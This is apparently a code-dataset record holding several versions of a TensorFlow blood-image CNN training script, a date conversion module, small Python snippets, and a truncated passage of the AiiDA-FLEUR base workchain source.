sess.graph)\n _ = reload_checkpoint_if_exists(sess, saver, train_writer,\n validation_writer, test_writer)\n for step in range(tf.train.global_step(sess, global_step) + 1, FLAGS.\n max_steps):\n batch = blood_datasets.train.next_batch()\n _, loss_output = sess.run([train_op, loss], feed_dict={x: batch[0],\n y_: batch[1], keep_prob: 0.5})\n assert not np.isnan(loss_output)\n if step % 100 == 0:\n summary, train_accuracy = sess.run([summary_op, accuracy],\n feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0})\n train_writer.add_summary(summary, step)\n print('step %d, training accuracy %g, loss %g' % (step,\n train_accuracy, loss_output))\n if (step % 1000 == 0 or step + 1 == FLAGS.max_steps) and not step == 0:\n batch = blood_datasets.validation.next_batch()\n summary_validation, accuracy_validation = sess.run([summary_op,\n accuracy], feed_dict={x: batch[0], y_: batch[1], keep_prob:\n 1.0})\n validation_writer.add_summary(summary_validation, step)\n print('validation accuracy %g' % accuracy_validation)\n checkpoint_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt')\n saver.save(sess, checkpoint_path, global_step=step)\n print('saving checkpoint')\n\n\ndef check_filesystem():\n \"\"\"\n either start a new checkpoint or continue from existing checkpoint folder\n \"\"\"\n if FLAGS.continue_run:\n if not tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if not tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n else:\n if tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.DeleteRecursively(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir)\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n\n\ndef reload_checkpoint_if_exists(sess, saver, train_writer,\n validation_writer, test_writer):\n \"\"\"\n restore existing model from checkpoint data\n \"\"\"\n global_step = -1\n if FLAGS.continue_run:\n ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir)\n if ckpt and ckpt.model_checkpoint_path:\n saver.restore(sess, ckpt.model_checkpoint_path)\n global_step = int(ckpt.model_checkpoint_path.split('/')[-1].\n split('-')[-1])\n print('checkpoint found at step %d', global_step)\n train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog\n .START), global_step)\n validation_writer.add_session_log(tf.SessionLog(status=tf.\n SessionLog.START), global_step)\n test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.\n START), global_step)\n else:\n print('No checkpoint file found')\n return global_step\n\n\ndef main(argv=None):\n train()\n\n\nif __name__ == '__main__':\n tf.app.run()\n", "step-3": "<mask token>\nFLAGS = tf.app.flags.FLAGS\nRUN = 'new_test_hm'\ntf.app.flags.DEFINE_string('checkpoint_dir', RUN + '/checkpoints',\n 'Directory where to write event logs and checkpoint.')\ntf.app.flags.DEFINE_string('summaries_dir', RUN + '/summaries',\n 'Summaries directory')\ntf.app.flags.DEFINE_string('max_steps', 20000,\n 'Maximum steps to train the model')\ntf.app.flags.DEFINE_string('continue_run', True,\n 'Continue from when training stopped?')\n\n\ndef train():\n \"\"\"Train blood_model for a number of steps. Periodically evaluate training and validation accuracies \"\"\"\n global_step = tf.Variable(0, name='global_step', trainable=False)\n blood_datasets = blood_model.inputs(eval_data=False)\n x, y_, data, keep_prob = blood_model.prepare_input()\n conv_output, _, _, _, _ = blood_model.inference(data, keep_prob)\n loss = blood_model.loss(conv_output, y_)\n accuracy = blood_model.accuracy(conv_output, y_)\n train_op = blood_model.train(loss, global_step)\n sess = tf.InteractiveSession()\n sess.run(tf.initialize_all_variables())\n summary_op = tf.merge_all_summaries()\n saver = tf.train.Saver()\n check_filesystem()\n train_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/train',\n sess.graph)\n validation_writer = tf.train.SummaryWriter(FLAGS.summaries_dir +\n '/validation', sess.graph)\n test_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/test',\n sess.graph)\n _ = reload_checkpoint_if_exists(sess, saver, train_writer,\n validation_writer, test_writer)\n for step in range(tf.train.global_step(sess, global_step) + 1, FLAGS.\n max_steps):\n batch = blood_datasets.train.next_batch()\n _, loss_output = sess.run([train_op, loss], feed_dict={x: batch[0],\n y_: batch[1], keep_prob: 0.5})\n assert not np.isnan(loss_output)\n if step % 100 == 0:\n summary, train_accuracy = sess.run([summary_op, accuracy],\n feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0})\n train_writer.add_summary(summary, step)\n print('step %d, training accuracy %g, loss %g' % (step,\n train_accuracy, loss_output))\n if (step % 1000 == 0 or step + 1 == FLAGS.max_steps) and not step == 0:\n batch = blood_datasets.validation.next_batch()\n summary_validation, accuracy_validation = sess.run([summary_op,\n accuracy], feed_dict={x: batch[0], y_: batch[1], keep_prob:\n 1.0})\n validation_writer.add_summary(summary_validation, step)\n print('validation accuracy %g' % accuracy_validation)\n checkpoint_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt')\n saver.save(sess, checkpoint_path, global_step=step)\n print('saving checkpoint')\n\n\ndef check_filesystem():\n \"\"\"\n either start a new checkpoint or continue from existing checkpoint folder\n \"\"\"\n if FLAGS.continue_run:\n if not tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if not tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n else:\n if tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.DeleteRecursively(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir)\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n\n\ndef reload_checkpoint_if_exists(sess, saver, train_writer,\n validation_writer, test_writer):\n \"\"\"\n restore existing model from checkpoint data\n \"\"\"\n global_step = -1\n if FLAGS.continue_run:\n ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir)\n if ckpt and ckpt.model_checkpoint_path:\n saver.restore(sess, ckpt.model_checkpoint_path)\n global_step = int(ckpt.model_checkpoint_path.split('/')[-1].\n split('-')[-1])\n print('checkpoint found at step %d', global_step)\n train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog\n .START), global_step)\n validation_writer.add_session_log(tf.SessionLog(status=tf.\n SessionLog.START), global_step)\n test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.\n START), global_step)\n else:\n print('No checkpoint file found')\n return global_step\n\n\ndef main(argv=None):\n train()\n\n\nif __name__ == '__main__':\n tf.app.run()\n", "step-4": "import tensorflow as tf\nimport blood_model\nimport os\nimport numpy as np\nFLAGS = tf.app.flags.FLAGS\nRUN = 'new_test_hm'\ntf.app.flags.DEFINE_string('checkpoint_dir', RUN + '/checkpoints',\n 'Directory where to write event logs and checkpoint.')\ntf.app.flags.DEFINE_string('summaries_dir', RUN + '/summaries',\n 'Summaries directory')\ntf.app.flags.DEFINE_string('max_steps', 20000,\n 'Maximum steps to train the model')\ntf.app.flags.DEFINE_string('continue_run', True,\n 'Continue from when training stopped?')\n\n\ndef train():\n \"\"\"Train blood_model for a number of steps. Periodically evaluate training and validation accuracies \"\"\"\n global_step = tf.Variable(0, name='global_step', trainable=False)\n blood_datasets = blood_model.inputs(eval_data=False)\n x, y_, data, keep_prob = blood_model.prepare_input()\n conv_output, _, _, _, _ = blood_model.inference(data, keep_prob)\n loss = blood_model.loss(conv_output, y_)\n accuracy = blood_model.accuracy(conv_output, y_)\n train_op = blood_model.train(loss, global_step)\n sess = tf.InteractiveSession()\n sess.run(tf.initialize_all_variables())\n summary_op = tf.merge_all_summaries()\n saver = tf.train.Saver()\n check_filesystem()\n train_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/train',\n sess.graph)\n validation_writer = tf.train.SummaryWriter(FLAGS.summaries_dir +\n '/validation', sess.graph)\n test_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/test',\n sess.graph)\n _ = reload_checkpoint_if_exists(sess, saver, train_writer,\n validation_writer, test_writer)\n for step in range(tf.train.global_step(sess, global_step) + 1, FLAGS.\n max_steps):\n batch = blood_datasets.train.next_batch()\n _, loss_output = sess.run([train_op, loss], feed_dict={x: batch[0],\n y_: batch[1], keep_prob: 0.5})\n assert not np.isnan(loss_output)\n if step % 100 == 0:\n summary, train_accuracy = sess.run([summary_op, accuracy],\n feed_dict={x: batch[0], y_: batch[1], keep_prob: 1.0})\n train_writer.add_summary(summary, step)\n print('step %d, training accuracy %g, loss %g' % (step,\n train_accuracy, loss_output))\n if (step % 1000 == 0 or step + 1 == FLAGS.max_steps) and not step == 0:\n batch = blood_datasets.validation.next_batch()\n summary_validation, accuracy_validation = sess.run([summary_op,\n accuracy], feed_dict={x: batch[0], y_: batch[1], keep_prob:\n 1.0})\n validation_writer.add_summary(summary_validation, step)\n print('validation accuracy %g' % accuracy_validation)\n checkpoint_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt')\n saver.save(sess, checkpoint_path, global_step=step)\n print('saving checkpoint')\n\n\ndef check_filesystem():\n \"\"\"\n either start a new checkpoint or continue from existing checkpoint folder\n \"\"\"\n if FLAGS.continue_run:\n if not tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if not tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n else:\n if tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.DeleteRecursively(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir)\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n\n\ndef reload_checkpoint_if_exists(sess, saver, train_writer,\n validation_writer, test_writer):\n \"\"\"\n restore existing model from checkpoint data\n \"\"\"\n global_step = -1\n if FLAGS.continue_run:\n ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir)\n if ckpt and ckpt.model_checkpoint_path:\n saver.restore(sess, ckpt.model_checkpoint_path)\n global_step = int(ckpt.model_checkpoint_path.split('/')[-1].\n split('-')[-1])\n print('checkpoint found at step %d', global_step)\n train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog\n .START), global_step)\n validation_writer.add_session_log(tf.SessionLog(status=tf.\n SessionLog.START), global_step)\n test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.\n START), global_step)\n else:\n print('No checkpoint file found')\n return global_step\n\n\ndef main(argv=None):\n train()\n\n\nif __name__ == '__main__':\n tf.app.run()\n", "step-5": "import tensorflow as tf\nimport blood_model\nimport os\nimport numpy as np\n\n\nFLAGS = tf.app.flags.FLAGS\nRUN = 'new_test_hm'\ntf.app.flags.DEFINE_string('checkpoint_dir', RUN+'/checkpoints',\n \"\"\"Directory where to write event logs and checkpoint.\"\"\")\ntf.app.flags.DEFINE_string('summaries_dir', RUN+'/summaries',\n \"\"\"Summaries directory\"\"\")\ntf.app.flags.DEFINE_string('max_steps', 20000,\n \"\"\"Maximum steps to train the model\"\"\")\ntf.app.flags.DEFINE_string('continue_run', True,\n \"\"\"Continue from when training stopped?\"\"\")\n\n\ndef train():\n \"\"\"Train blood_model for a number of steps. Periodically evaluate training and validation accuracies \"\"\"\n\n global_step = tf.Variable(0, name='global_step', trainable=False)\n\n # Get images and labels for blood_model.\n blood_datasets = blood_model.inputs(eval_data=False)\n\n # randomize the inputs look\n x, y_, data, keep_prob = blood_model.prepare_input()\n\n # build the convolution network\n conv_output, _, _, _, _ = blood_model.inference(data, keep_prob)\n # Calculate loss.\n loss = blood_model.loss(conv_output, y_)\n accuracy = blood_model.accuracy(conv_output, y_)\n\n train_op = blood_model.train(loss, global_step)\n\n sess = tf.InteractiveSession()\n\n sess.run(tf.initialize_all_variables())\n\n # Build the summary operation based on the TF collection of Summaries.\n summary_op = tf.merge_all_summaries()\n\n saver = tf.train.Saver()\n\n check_filesystem()\n\n train_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/train', sess.graph)\n validation_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/validation', sess.graph)\n test_writer = tf.train.SummaryWriter(FLAGS.summaries_dir + '/test', sess.graph)\n\n _ = reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer)\n for step in range(tf.train.global_step(sess, global_step)+1, FLAGS.max_steps):\n batch = blood_datasets.train.next_batch()\n _, loss_output = sess.run([train_op, loss], feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5})\n assert not np.isnan(loss_output)\n if step % 100 == 0:\n summary, train_accuracy = sess.run([summary_op, accuracy], feed_dict={\n x: batch[0], y_: batch[1], keep_prob: 1.0})\n train_writer.add_summary(summary, step)\n print(\"step %d, training accuracy %g, loss %g\" % (step, train_accuracy, loss_output))\n\n if (step % 1000 == 0 or (step + 1) == FLAGS.max_steps) and not step == 0:\n batch = blood_datasets.validation.next_batch()\n summary_validation, accuracy_validation = sess.run([summary_op, accuracy], feed_dict={\n x: batch[0], y_: batch[1], keep_prob: 1.0})\n validation_writer.add_summary(summary_validation, step)\n print(\"validation accuracy %g\" % accuracy_validation)\n\n # save checkpoint\n checkpoint_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt')\n saver.save(sess, checkpoint_path, global_step=step)\n print(\"saving checkpoint\")\n\n\ndef check_filesystem():\n \"\"\"\n either start a new checkpoint or continue from existing checkpoint folder\n \"\"\"\n if FLAGS.continue_run:\n # start a new run, set flag to continue, so there is nothing\n # check if something there, if not, create, but don't delete\n if not tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if not tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n else:\n # delete checkpoints and event summaries because training restarted\n if tf.gfile.Exists(FLAGS.summaries_dir):\n tf.gfile.DeleteRecursively(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(FLAGS.summaries_dir)\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'train'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'validation'))\n tf.gfile.MakeDirs(os.path.join(FLAGS.summaries_dir, 'test'))\n if tf.gfile.Exists(FLAGS.checkpoint_dir):\n tf.gfile.DeleteRecursively(FLAGS.checkpoint_dir)\n tf.gfile.MakeDirs(FLAGS.checkpoint_dir)\n\n\ndef reload_checkpoint_if_exists(sess, saver, train_writer, validation_writer, test_writer):\n \"\"\"\n restore existing model from checkpoint data\n \"\"\"\n global_step = -1\n if FLAGS.continue_run:\n ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir)\n if ckpt and ckpt.model_checkpoint_path:\n # Restores from checkpoint\n saver.restore(sess, ckpt.model_checkpoint_path)\n # extract global_step from it.\n global_step = int(ckpt.model_checkpoint_path.split('/')[-1].split('-')[-1])\n print(\"checkpoint found at step %d\", global_step)\n # ensure that the writers ignore saved summaries that occurred after the last checkpoint but before a crash\n train_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.START), global_step)\n validation_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.START), global_step)\n test_writer.add_session_log(tf.SessionLog(status=tf.SessionLog.START), global_step)\n else:\n print('No checkpoint file found')\n return global_step\n\n\ndef main(argv=None):\n train()\n\nif __name__ == '__main__':\n tf.app.run()\n", "step-ids": [ 3, 5, 6, 7, 8 ] }
[ 3, 5, 6, 7, 8 ]
__author__ = 'sushil' from .utilities import decompose_date from .DateConverter import _bs_to_ad, _ad_to_bs def convert_to_ad(bs_date): date_components = decompose_date(bs_date) year, month, day = date_components ad_year, ad_month, ad_day = _bs_to_ad(year, month, day) formatted_date = "{}-{:02}-{:02}".format(ad_year, ad_month, ad_day) return formatted_date def convert_to_bs(ad_date): date_components = decompose_date(ad_date) year, month, day = date_components bs_year, bs_month, bs_day = _ad_to_bs(year, month, day) formatted_date = "{}-{:02}-{:02}".format(bs_year, bs_month, bs_day) return formatted_date
normal
{ "blob_id": "e7295336a168aa2361a9090e79465eab5f564599", "index": 5076, "step-1": "<mask token>\n\n\ndef convert_to_bs(ad_date):\n date_components = decompose_date(ad_date)\n year, month, day = date_components\n bs_year, bs_month, bs_day = _ad_to_bs(year, month, day)\n formatted_date = '{}-{:02}-{:02}'.format(bs_year, bs_month, bs_day)\n return formatted_date\n", "step-2": "<mask token>\n\n\ndef convert_to_ad(bs_date):\n date_components = decompose_date(bs_date)\n year, month, day = date_components\n ad_year, ad_month, ad_day = _bs_to_ad(year, month, day)\n formatted_date = '{}-{:02}-{:02}'.format(ad_year, ad_month, ad_day)\n return formatted_date\n\n\ndef convert_to_bs(ad_date):\n date_components = decompose_date(ad_date)\n year, month, day = date_components\n bs_year, bs_month, bs_day = _ad_to_bs(year, month, day)\n formatted_date = '{}-{:02}-{:02}'.format(bs_year, bs_month, bs_day)\n return formatted_date\n", "step-3": "__author__ = 'sushil'\n<mask token>\n\n\ndef convert_to_ad(bs_date):\n date_components = decompose_date(bs_date)\n year, month, day = date_components\n ad_year, ad_month, ad_day = _bs_to_ad(year, month, day)\n formatted_date = '{}-{:02}-{:02}'.format(ad_year, ad_month, ad_day)\n return formatted_date\n\n\ndef convert_to_bs(ad_date):\n date_components = decompose_date(ad_date)\n year, month, day = date_components\n bs_year, bs_month, bs_day = _ad_to_bs(year, month, day)\n formatted_date = '{}-{:02}-{:02}'.format(bs_year, bs_month, bs_day)\n return formatted_date\n", "step-4": "__author__ = 'sushil'\nfrom .utilities import decompose_date\nfrom .DateConverter import _bs_to_ad, _ad_to_bs\n\n\ndef convert_to_ad(bs_date):\n date_components = decompose_date(bs_date)\n year, month, day = date_components\n ad_year, ad_month, ad_day = _bs_to_ad(year, month, day)\n formatted_date = '{}-{:02}-{:02}'.format(ad_year, ad_month, ad_day)\n return formatted_date\n\n\ndef convert_to_bs(ad_date):\n date_components = decompose_date(ad_date)\n year, month, day = date_components\n bs_year, bs_month, bs_day = _ad_to_bs(year, month, day)\n formatted_date = '{}-{:02}-{:02}'.format(bs_year, bs_month, bs_day)\n return formatted_date\n", "step-5": "__author__ = 'sushil'\nfrom .utilities import decompose_date\nfrom .DateConverter import _bs_to_ad, _ad_to_bs\n\ndef convert_to_ad(bs_date):\n date_components = decompose_date(bs_date)\n year, month, day = date_components\n\n ad_year, ad_month, ad_day = _bs_to_ad(year, month, day)\n formatted_date = \"{}-{:02}-{:02}\".format(ad_year, ad_month, ad_day)\n return formatted_date\n\ndef convert_to_bs(ad_date):\n date_components = decompose_date(ad_date)\n year, month, day = date_components\n\n bs_year, bs_month, bs_day = _ad_to_bs(year, month, day)\n formatted_date = \"{}-{:02}-{:02}\".format(bs_year, bs_month, bs_day)\n return formatted_date\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
import numpy as np print(np.random.binomial(10, 0.5, 1))
normal
{ "blob_id": "0a3e0eeda14e42bfff7797b3c42a0aebd9a72ade", "index": 3212, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(np.random.binomial(10, 0.5, 1))\n", "step-3": "import numpy as np\nprint(np.random.binomial(10, 0.5, 1))\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
#!python3 """ I1. a Ex1 5 1 3 5 2 1 4 3 2 4 4 1 5 5 2 3 """ n = int(input().strip()) t = [None] * n for i in range(n): x,x1 = [int(i) for i in input().strip().split(' ')] x,x1 = x-1, x1-1 t[i] = [x, x1] res = [0] while len(res) < n: a = res[-1] b = t[a][0] c = t[a][1] if c not in t[b]: b, c = c, b res += [b, c] print(' '.join(str(i+1) for i in res))
normal
{ "blob_id": "0e3c6e14ff184401a3f30a6198306a17686e6ebe", "index": 2382, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in range(n):\n x, x1 = [int(i) for i in input().strip().split(' ')]\n x, x1 = x - 1, x1 - 1\n t[i] = [x, x1]\n<mask token>\nwhile len(res) < n:\n a = res[-1]\n b = t[a][0]\n c = t[a][1]\n if c not in t[b]:\n b, c = c, b\n res += [b, c]\nprint(' '.join(str(i + 1) for i in res))\n", "step-3": "<mask token>\nn = int(input().strip())\nt = [None] * n\nfor i in range(n):\n x, x1 = [int(i) for i in input().strip().split(' ')]\n x, x1 = x - 1, x1 - 1\n t[i] = [x, x1]\nres = [0]\nwhile len(res) < n:\n a = res[-1]\n b = t[a][0]\n c = t[a][1]\n if c not in t[b]:\n b, c = c, b\n res += [b, c]\nprint(' '.join(str(i + 1) for i in res))\n", "step-4": "#!python3\r\n\"\"\"\r\n\r\nI1. a\r\n\r\nEx1\r\n5\r\n1 3 5\r\n2 1 4\r\n3 2 4\r\n4 1 5\r\n5 2 3\r\n\r\n\r\n\r\n\"\"\"\r\n\r\nn = int(input().strip())\r\nt = [None] * n\r\nfor i in range(n):\r\n x,x1 = [int(i) for i in input().strip().split(' ')]\r\n x,x1 = x-1, x1-1\r\n t[i] = [x, x1]\r\n\r\nres = [0]\r\nwhile len(res) < n:\r\n a = res[-1]\r\n b = t[a][0]\r\n c = t[a][1]\r\n if c not in t[b]:\r\n b, c = c, b\r\n res += [b, c]\r\n\r\n\r\nprint(' '.join(str(i+1) for i in res))\r\n\r\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
############################################################################### # Copyright (c), Forschungszentrum Jülich GmbH, IAS-1/PGI-1, Germany. # # All rights reserved. # # This file is part of the AiiDA-FLEUR package. # # # # The code is hosted on GitHub at https://github.com/JuDFTteam/aiida-fleur # # For further information on the license, see the LICENSE.txt file # # For further information please visit http://www.flapw.de or # # http://aiida-fleur.readthedocs.io/en/develop/ # ############################################################################### """ This module contains the FleurBaseWorkChain. FleurBaseWorkChain is a workchain that wraps the submission of the FLEUR calculation. Inheritance from the BaseRestartWorkChain allows to add scenarios to restart a calculation in an automatic way if an expected failure occurred. """ from aiida import orm from aiida.common import AttributeDict from aiida.engine import while_ from aiida.engine.processes.workchains import BaseRestartWorkChain from aiida.engine.processes.workchains.utils import process_handler, ProcessHandlerReport from aiida_fleur.tools.common_fleur_wf import optimize_calc_options from aiida_fleur.calculation.fleur import FleurCalculation from aiida_fleur.data.fleurinp import get_fleurinp_from_remote_data class FleurBaseWorkChain(BaseRestartWorkChain): """Workchain to run a FLEUR calculation with automated error handling and restarts""" _workflowversion = '0.2.1' _process_class = FleurCalculation @classmethod def define(cls, spec): super().define(spec) spec.expose_inputs(FleurCalculation, exclude=('metadata.options',)) spec.input('options', valid_type=orm.Dict, help='Optional parameters to set up computational details.') spec.input('description', valid_type=str, required=False, non_db=True, help='Calculation description.') spec.input('label', valid_type=str, required=False, non_db=True, help='Calculation label.') spec.input( 'add_comp_para', valid_type=orm.Dict, default=lambda: orm.Dict(dict={ 'only_even_MPI': False, 'forbid_single_mpi': False, 'max_queue_nodes': 20, 'max_queue_wallclock_sec': 86400 }), help='Gives additional control over computational parameters' 'only_even_MPI: set to true if you want to suppress odd number of MPI processes in parallelisation.' 'This might speedup a calculation for machines having even number of sockets per node.' 'max_queue_nodes: maximal number of nodes allowed on the remote machine. Used only to automatically solve some FLEUR failures.' 'max_queue_wallclock_sec: maximal wallclock time allowed on the remote machine. Used only to automatically solve some FLEUR failures.' ) spec.outline( cls.setup, cls.validate_inputs, while_(cls.should_run_process)( cls.run_process, cls.inspect_process, ), cls.results, ) spec.expose_outputs(FleurCalculation) spec.exit_code(311, 'ERROR_VACUUM_SPILL_RELAX', message='FLEUR calculation failed because an atom spilled to the' 'vacuum during relaxation') spec.exit_code(313, 'ERROR_MT_RADII_RELAX', message='Overlapping MT-spheres during relaxation.') spec.exit_code(388, 'ERROR_TIME_LIMIT_NO_SOLUTION', message='Computational resources are not optimal.') spec.exit_code(389, 'ERROR_MEMORY_ISSUE_NO_SOLUTION', message='Computational resources are not optimal.') spec.exit_code(390, 'ERROR_NOT_OPTIMAL_RESOURCES', message='Computational resources are not optimal.') spec.exit_code(399, 'ERROR_SOMETHING_WENT_WRONG', message='FleurCalculation failed and FleurBaseWorkChain has no strategy ' 'to resolve this') def validate_inputs(self): """ Validate inputs that might depend on each other and cannot be validated by the spec. Also define dictionary `inputs` in the context, that will contain the inputs for the calculation that will be launched in the `run_calculation` step. """ self.ctx.inputs = AttributeDict(self.exposed_inputs(FleurCalculation)) self.ctx.max_queue_nodes = self.inputs.add_comp_para['max_queue_nodes'] self.ctx.max_queue_wallclock_sec = self.inputs.add_comp_para['max_queue_wallclock_sec'] input_options = self.inputs.options.get_dict() self.ctx.optimize_resources = input_options.pop('optimize_resources', True) self.ctx.inputs.metadata.options = input_options if 'description' in self.inputs: self.ctx.inputs.metadata.description = self.inputs.description else: self.ctx.inputs.metadata.description = '' if 'label' in self.inputs: self.ctx.inputs.metadata.label = self.inputs.label else: self.ctx.inputs.metadata.label = '' if not self.ctx.optimize_resources: self.ctx.can_be_optimised = False # set this for handlers to not change resources return resources_input = self.ctx.inputs.metadata.options['resources'] try: self.ctx.num_machines = int(resources_input['num_machines']) self.ctx.num_mpiprocs_per_machine = int(resources_input['num_mpiprocs_per_machine']) except KeyError: self.ctx.can_be_optimised = False self.report('WARNING: Computation resources were not optimised.') else: try: self.ctx.num_cores_per_mpiproc = int(resources_input['num_cores_per_mpiproc']) self.ctx.use_omp = True self.ctx.suggest_mpi_omp_ratio = self.ctx.num_mpiprocs_per_machine / self.ctx.num_cores_per_mpiproc except KeyError: self.ctx.num_cores_per_mpiproc = 1 self.ctx.use_omp = False self.ctx.suggest_mpi_omp_ratio = 1 status = self.check_kpts() if status is None: self.ctx.can_be_optimised = True else: self.report('ERROR: Not optimal computational resources.') return status def check_kpts(self): """ This routine checks if the total number of requested cpus is a factor of kpts and makes an optimisation. If suggested number of num_mpiprocs_per_machine is 60% smaller than requested, it throws an exit code and calculation stop withour submission. """ if 'fleurinp' in self.ctx.inputs: fleurinp = self.ctx.inputs.fleurinp else: fleurinp = get_fleurinp_from_remote_data(self.ctx.inputs.parent_folder) only_even_MPI = self.inputs.add_comp_para['only_even_MPI'] forbid_single_mpi = self.inputs.add_comp_para['forbid_single_mpi'] try: machines, mpi_tasks, omp_threads, message = optimize_calc_options(self.ctx.num_machines, self.ctx.num_mpiprocs_per_machine, self.ctx.num_cores_per_mpiproc, self.ctx.use_omp, self.ctx.suggest_mpi_omp_ratio, fleurinp, only_even_MPI=only_even_MPI, forbid_single_mpi=forbid_single_mpi) except ValueError as exc: self.report(exc) return self.exit_codes.ERROR_NOT_OPTIMAL_RESOURCES self.report(message) self.ctx.inputs.metadata.options['resources']['num_machines'] = machines self.ctx.inputs.metadata.options['resources']['num_mpiprocs_per_machine'] = mpi_tasks if self.ctx.use_omp: self.ctx.inputs.metadata.options['resources']['num_cores_per_mpiproc'] = omp_threads if 'environment_variables' not in self.ctx.inputs.metadata.options: self.ctx.inputs.metadata.options['environment_variables'] = {} self.ctx.inputs.metadata.options['environment_variables']['OMP_NUM_THREADS'] = str(omp_threads) @process_handler(priority=1, exit_codes=[ FleurCalculation.exit_codes.ERROR_FLEUR_CALC_FAILED, FleurCalculation.exit_codes.ERROR_MT_RADII, FleurCalculation.exit_codes.ERROR_NO_RETRIEVED_FOLDER, FleurCalculation.exit_codes.ERROR_OPENING_OUTPUTS, FleurCalculation.exit_codes.ERROR_NO_OUTXML, FleurCalculation.exit_codes.ERROR_XMLOUT_PARSING_FAILED, FleurCalculation.exit_codes.ERROR_RELAX_PARSING_FAILED, FleurCalculation.exit_codes.ERROR_MISSING_DEPENDENCY, ]) def _handle_general_error(self, calculation): """ Calculation failed for unknown reason. """ self.ctx.restart_calc = calculation self.ctx.is_finished = True self.report('Calculation failed for a reason that can not be resolved automatically') self.results() return ProcessHandlerReport(True, 